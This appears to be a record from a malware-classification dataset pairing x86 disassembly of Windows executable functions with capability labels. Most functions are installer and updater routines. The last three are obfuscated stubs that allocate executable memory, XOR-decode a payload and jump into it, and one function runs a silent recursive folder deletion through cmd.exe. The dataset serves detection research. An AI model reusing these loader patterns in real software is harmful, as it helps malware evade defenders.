joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401040
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x3ff]
mov byte [ebp - 0x400], 0
push 0
push eax
call fcn.00405ad0
mov esi, dword [ebp + 8]
add esp, 0xc
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
test esi, esi
jne 0x401093
push ebx
push edi
push str.Failed_to_move_file_from___s__to___s_.
lea eax, [ebp - 0x400]
push 0x400
push eax
call fcn.00405aa7
add esp, 0x14
jmp 0x4010b2
cmp esi, 1
jne 0x4010b2
push edi
push str.Failed_to_unpack_file___s_.
lea eax, [ebp - 0x400]
push 0x400
push eax
call fcn.00405aa7
add esp, 0x10
push 0x3ff
lea eax, [ebp - 0x7ff]
mov byte [ebp - 0x800], 0
push 0
push eax
call fcn.00405ad0
lea eax, [ebp - 0x400]
push eax
push str.join.me_could_not_be_updated._n_nTo_resolve_this_problem__follow_these_instructions:_nhttp:__help.join.me_knowledgebase_articles_421298_n_nClick_OK_to_open_the_Help_article._n_n_s
lea eax, [ebp - 0x800]
push 0x400
push eax
call fcn.00405aa7
add esp, 0x1c
lea eax, [ebp - 0x800]
push 0x11
push str.join.me_Update
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 1
jne 0x401125
push eax
push 0
push 0
push str.http:__help.join.me_knowledgebase_articles_421298
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.ErrorDialog:_Help_article_page_has_been_opened
jmp 0x40112a
push str.ErrorDialog:_Dialog_has_been_canceled
call fcn.004045b0
add esp, 4
mov ecx, str.NULL
mov eax, ecx
test ebx, ebx
cmovne eax, ebx
test edi, edi
push eax
cmovne ecx, edi
mov eax, str.MoveFileErrorDialog
push ecx
mov ecx, str.UnpackFileErrorDialog
test esi, esi
cmovne eax, ecx
push eax
push str.ErrorDialog:_Update_error_dialog_has_been_shown._Type:__s__SrcPath:__s__DstPath:__s
call fcn.004045b0
add esp, 0x10
test esi, esi
pop edi
pop esi
pop ebx
je 0x40116d
mov esp, ebp
pop ebp
ret
push 1
call fcn.00405a93
int3

Function at 0x401d00
Capabilities:
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x1000
mov esi, eax
push esi
push str.PATH
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
dec eax
cmp eax, 0xffe
ja 0x401d60
push 0x4176dc
push 0x1000
push esi
call fcn.00405d41
push dword [ebp + 8]
push 0x1000
push esi
call fcn.00405d41
add esp, 0x18
push esi
push str.PATH
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop ebp
ret
Function at 0x401df0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416091
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x238
push ebx
push esi
mov dword [ebp - 0x38], 0
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
mov dword [ebp - 4], 0
mov dword [edi], 0
mov dword [edi + 4], 0
call fcn.00403280
mov dword [edi], eax
mov ebx, 0x61
mov dword [ebp - 4], 0
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x18], 0x1a
jmp 0x401e60
push 0x104
lea eax, [ebp - 0x140]
push 0
push eax
call fcn.00405ad0
push ebx
lea eax, [ebp - 0x140]
push 0x417594
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x104
lea eax, [ebp - 0x244]
push 0
push eax
call fcn.00405ad0
add esp, 0x24
lea eax, [ebp - 0x244]
push 0x104
push eax
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
lea eax, [ebp - 0x244]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ec0
sub eax, edx
cmp eax, 1
jbe 0x401fd9
mov byte [ebp - 0x34], cl
xor ecx, ecx
cmp byte [ebp - 0x244], cl
mov dword [ebp - 0x20], 0xf
cmove eax, ecx
mov dword [ebp - 0x24], 0
push eax
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0x34]
call fcn.00403820
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 1
push eax
mov ecx, edi
call fcn.00403520
mov esi, eax
cmp esi, dword [edi]
je 0x401f64
cmp dword [esi + 0x24], 0x10
lea edx, [esi + 0x10]
mov edi, dword [edx + 0x10]
jb 0x401f24
mov edx, dword [edx]
cmp dword [ebp - 0x20], 0x10
lea ecx, [ebp - 0x34]
mov ebx, dword [ebp - 0x24]
mov eax, edi
cmovae ecx, dword [ebp - 0x34]
cmp ebx, edi
cmovb eax, ebx
push eax
push edx
push ecx
call fcn.00403990
add esp, 0xc
test eax, eax
jne 0x401f5a
cmp ebx, edi
jae 0x401f51
or eax, 0xffffffff
jmp 0x401f58
xor eax, eax
cmp ebx, edi
setne al
test eax, eax
mov edi, dword [ebp + 8]
sets al
test al, al
je 0x401f92
lea eax, [ebp - 0x34]
mov ecx, edi
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x11]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x420533
call fcn.004012c0
push eax
add eax, 0x10
mov ecx, edi
push eax
push esi
lea eax, [ebp - 0x3c]
push eax
call fcn.00401650
mov esi, dword [ebp - 0x3c]
cmp byte [ebp - 0x140], 0
jne 0x401f9f
xor ecx, ecx
jmp 0x401fb1
lea ecx, [ebp - 0x140]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401fa8
sub ecx, edx
push ecx
lea eax, [ebp - 0x140]
push eax
lea ecx, [esi + 0x28]
call fcn.00403820
cmp dword [ebp - 0x20], 0x10
mov byte [ebp - 4], 0
jb 0x401fd6
push dword [ebp - 0x34]
call fcn.00405bfc
add esp, 4
mov ebx, dword [ebp - 0x10]
inc ebx
dec dword [ebp - 0x18]
mov dword [ebp - 0x10], ebx
jne 0x401e60
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x402000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
lea eax, [ebp - 0x30c]
push dword [ebp + 8]
push 0x4176de
push str._s__c_rd__s__q___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x30c]
push 0
push 0
push eax
push str.cmd.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret
Function at 0x4020e0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 4], 0
test esi, esi
je 0x402109
cmp dword [ebp + 0x10], ebx
je 0x402109
push str.backup
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x402122
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 8], eax
push dword [ebp - 4]
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x4021a7
lea eax, [ebp - 0xc]
mov dword [ebp + 0xc], ebx
push eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], ebx
push eax
push 0x417644
push dword [ebp - 8]
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x4021a7
mov ebx, 1
test esi, esi
je 0x4021a7
cmp dword [ebp + 0x10], 0
je 0x4021a7
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 8]
test edx, edx
jne 0x402185
cmp dword [ecx + 0xc], edx
je 0x4021a7
mov ecx, dword [ecx + 0xc]
movzx eax, cx
push eax
shr ecx, 0x10
push ecx
movzx eax, dx
push eax
shr edx, 0x10
push edx
push str._d._d._d._d
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402f30
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push ebx
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push str.config.json
push dword [ebp + 0xc]
push str._s_s
push eax
call edi
push str.config.json
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push str._s_s
push eax
call edi
add esp, 0x20
lea eax, [ebp - 0x104]
push 1
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402fb1
call ebx
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
push str.RevertUpdate:_Move__s____s__failed__error:__d
call fcn.004045b0
add esp, 0x10
jmp 0x402fcc
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
push str.RevertUpdate:_Move__s____s_
call fcn.004045b0
add esp, 0xc
xor esi, esi
mov edi, edi
mov eax, dword [esi + section..data]
test eax, eax
je 0x40306b
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x208]
push str._s_s
push eax
call edi
push dword [esi + section..data]
lea eax, [ebp - 0x104]
push dword [ebp + 8]
push str._s_s
push eax
call edi
add esp, 0x20
lea eax, [ebp - 0x104]
push 1
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x403044
call ebx
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
push str.RevertUpdate:_Move__s____s__failed__error:__d
call fcn.004045b0
add esp, 0x10
jmp 0x40305f
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
push str.RevertUpdate:_Move__s____s_
call fcn.004045b0
add esp, 0xc
add esi, 4
cmp esi, 0x4c
jb 0x402fd0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403080
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
call fcn.00402940
add esp, 4
test eax, eax
jne 0x4030a3
mov eax, str.Failed_to_locate_application_resource.
pop edi
mov esp, ebp
pop ebp
ret
push esi
push 0
push 0x8000080
push 2
push 0
push 1
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4030e1
push 0
lea eax, [ebp - 4]
push eax
push dword [0x42052c]
push dword [0x420528]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
test esi, esi
je 0x4030fd
cmp esi, 0xffffffff
je 0x4030fd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov eax, str.Failed_to_decompress_application_files.
test edi, edi
pop esi
cmovne eax, ecx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x403120
Capabilities:
Create directory
Delete file
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
test ebx, ebx
je 0x403187
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, eax
test edi, edi
je 0x403273
cmp edi, 0x103
ja 0x403273
cmp byte [edi + esi - 1], 0x5c
je 0x40315f
mov word [edi + esi], 0x5c
mov edi, dword [ebp + 0x10]
push edi
push 0
push 0x4176e8
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4031d9
test ebx, ebx
je 0x403273
push str.Failed_to_create_temporary_folder.
jmp 0x403264
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, eax
test edi, edi
je 0x40325f
cmp edi, 0x104
ja 0x40325f
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x403152
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403152
push str.Temporary_folder_missing._Ask_your_administrator_to_solve_this_problem.
push 0
call fcn.00402050
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40321b
test ebx, ebx
je 0x40320d
push str.Failed_to_create_temporary_folder.
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00402050
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x403255
test ebx, ebx
je 0x40323e
push str.Failed_to_use_temporary_folder.
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00402050
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push edi
call fcn.00402000
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
push str.Failed_to_resolve_temporary_folder_path.
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00402050
add esp, 8
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x405110
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00407710
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
lea ebx, [esi + 0x10]
cmp edi, 0x1c
jb 0x4052d0
cmp dword [esi], 0x80000001
jne 0x4052d0
cmp dword [esi + 4], 0
mov dword [ebp + 0xc], 0
jbe 0x40525c
nop
mov ecx, dword [ebx]
mov dword [ebp + 8], ecx
cmp edi, ecx
jbe 0x40516e
lea esp, [esp]
cmp byte [ecx + esi], 0
je 0x40516e
inc ecx
mov dword [ebp + 8], ecx
cmp edi, ecx
ja 0x405160
mov eax, dword [ebx + 4]
add eax, dword [ebx + 8]
cmp edi, eax
jb 0x4052d0
cmp edi, ecx
je 0x4052d0
mov eax, dword [ebp + 0x10]
mov byte [ebp - 0x1004], 0
test eax, eax
je 0x4051cd
cmp byte [eax], 0
je 0x4051cd
push eax
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x1004]
cmp byte [eax + ecx - 1], 0x5c
je 0x4051cd
push 0x417644
mov eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebx]
add eax, esi
push eax
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x1004]
push eax
push str.WriteFiles_V1:_Unpacking_file:__s
call fcn.004045b0
add esp, 8
lea eax, [ebp - 0x1004]
push 0
push 0x8000080
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x4052b3
push 0
lea ecx, [ebp + 8]
push ecx
push dword [ebx + 8]
mov ecx, dword [ebx + 4]
add ecx, esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405268
mov eax, dword [ebp + 8]
cmp eax, dword [ebx + 8]
jne 0x405268
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
add ebx, 0xc
inc eax
mov dword [ebp + 0xc], eax
cmp eax, dword [esi + 4]
jb 0x405150
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x1004]
push eax
push str.WriteFiles_V1:_WriteFile__s__failed._Error:__d
call fcn.004045b0
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xd
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x4176de
lea eax, [ebp - 0x1004]
push eax
push 1
call fcn.00401040
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x1004]
push eax
push str.WriteFiles_V1:_CreateFile__s__failed._Error:__d
call fcn.004045b0
add esp, 0xc
jmp 0x40528c
push 0xd
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ea9a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41fb30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407ce2
mov dword [ebp - 0x14], eax
cmp dword [0x42107c], esi
jne 0x40eb8d
push 0x800
push esi
push 0x419368
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40eb1a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40ec6d
push esi
push esi
push 0x419368
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40ec6d
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40ec6d
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42107c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x421080], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x421084], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42108c], eax
test eax, eax
je 0x40eb8a
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x421088], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40ebb2
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40eba5
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40ebc7
push 4
pop eax
jmp 0x40ec6f
cmp dword [ebp - 0x14], esi
je 0x40ebc7
push dword [0x42107c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40ebac
mov eax, dword [0x421088]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40ec25
cmp dword [0x42108c], edi
je 0x40ec25
push eax
call ebx
push dword [0x42108c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40ec25
test eax, eax
je 0x40ec25
call ecx
test eax, eax
je 0x40ec1a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40ec1a
test byte [ebp - 8], 1
jne 0x40ec25
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40ec55
mov eax, dword [0x421080]
cmp eax, edi
je 0x40ec52
push eax
call ebx
test eax, eax
je 0x40ec52
call eax
mov esi, eax
test esi, esi
je 0x40ec52
mov eax, dword [0x421084]
cmp eax, edi
je 0x40ec52
push eax
call ebx
test eax, eax
je 0x40ec52
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42107c]
call ebx
test eax, eax
je 0x40ec6d
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40ec6f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ba5c
mov esp, ebp
pop ebp
ret
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x1000fc60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x1000fc6f
pop dword [ebp - 4]
mov eax, 0xade297aa
add eax, 0x621e64c5
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xc1c190ec
sub dword [ebp - 0x14], 0x736f4ba1
mov dword [ebp - 0x10], 0xd095f681
sub dword [ebp - 0x10], 0x9e62aa3c
mov dword [ebp - 0xc], 0xd5884af1
add dword [ebp - 0xc], 0x76c3f93d
mov dword [ebp - 8], 0x4825029b
add dword [ebp - 8], 0xb7dafd65
lea eax, [ebp - 0x14]
push eax
mov eax, 0x80adbca
sub eax, 0xf8097b6a
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xd6f8dded
add dword [ebp - 0x14], 0x9d798b69
mov dword [ebp - 0x10], 0x57560ad6
add dword [ebp - 0x10], 0xea16569f
mov dword [ebp - 0xc], 0xf827abf7
add dword [ebp - 0xc], 0x6b47c075
mov dword [ebp - 8], 0x77d361d1
add dword [ebp - 8], 0x882c9e2f
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x372f1
push 0
call eax
mov ecx, 0xfeec8146
sub ecx, 0xfeec3c12
xor esi, esi
add esi, eax
mov edx, 0xd11c169f
add edx, 0x3ee61f61
add edx, dword [ebp - 4]
mov edi, 0x78985fdf
add edi, 0xe339e18e
mov ebx, dword [edx]
xor ebx, edi
mov dword [esi], ebx
add esi, 4
add edx, 0x1dc0c4fc
add edx, 0xe23f3b08
loop 0x1000fd8e
add eax, 0xa962c958
sub eax, 0xa961c1b5
xor ebx, ebx
add ebx, eax
add eax, 0x502bfb9e
sub eax, 0x502bfb99
mov ecx, 0x10000000
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x409113
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x409122
pop dword [ebp - 8]
mov eax, 0x791f5f54
sub eax, 0x78dece32
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x35fce
push 0
mov eax, 0x7ceb674c
add eax, 0x83558944
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xfe8dfe7
sub ecx, 0xfe8a191
mov esi, eax
mov edi, 0x41aa00
add edi, dword [ebp - 8]
mov edx, 0xc4cfeb56
xor dword [ebp - 4], ecx
mov ebx, dword [edi]
add dword [ebp - 4], 0x1f07e5e5
add ebx, edx
mov dword [ebp - 4], 0x55f0e384
mov dword [esi], ebx
sub dword [ebp - 4], eax
add esi, 0xae2acf8a
add esi, 0x51d5307a
add edi, 0xaa56ae33
add edi, 0x55a951d1
loop 0x409175
add eax, 0x3897bd2
add eax, 0xfc777059
xor ebx, ebx
add ebx, eax
add eax, 0x18569919
add eax, 0xe7a966ec
mov ecx, 0xf44d4cde
add ecx, 0xbf2b322
add ecx, dword [ebp - 8]
call ebx
leave
ret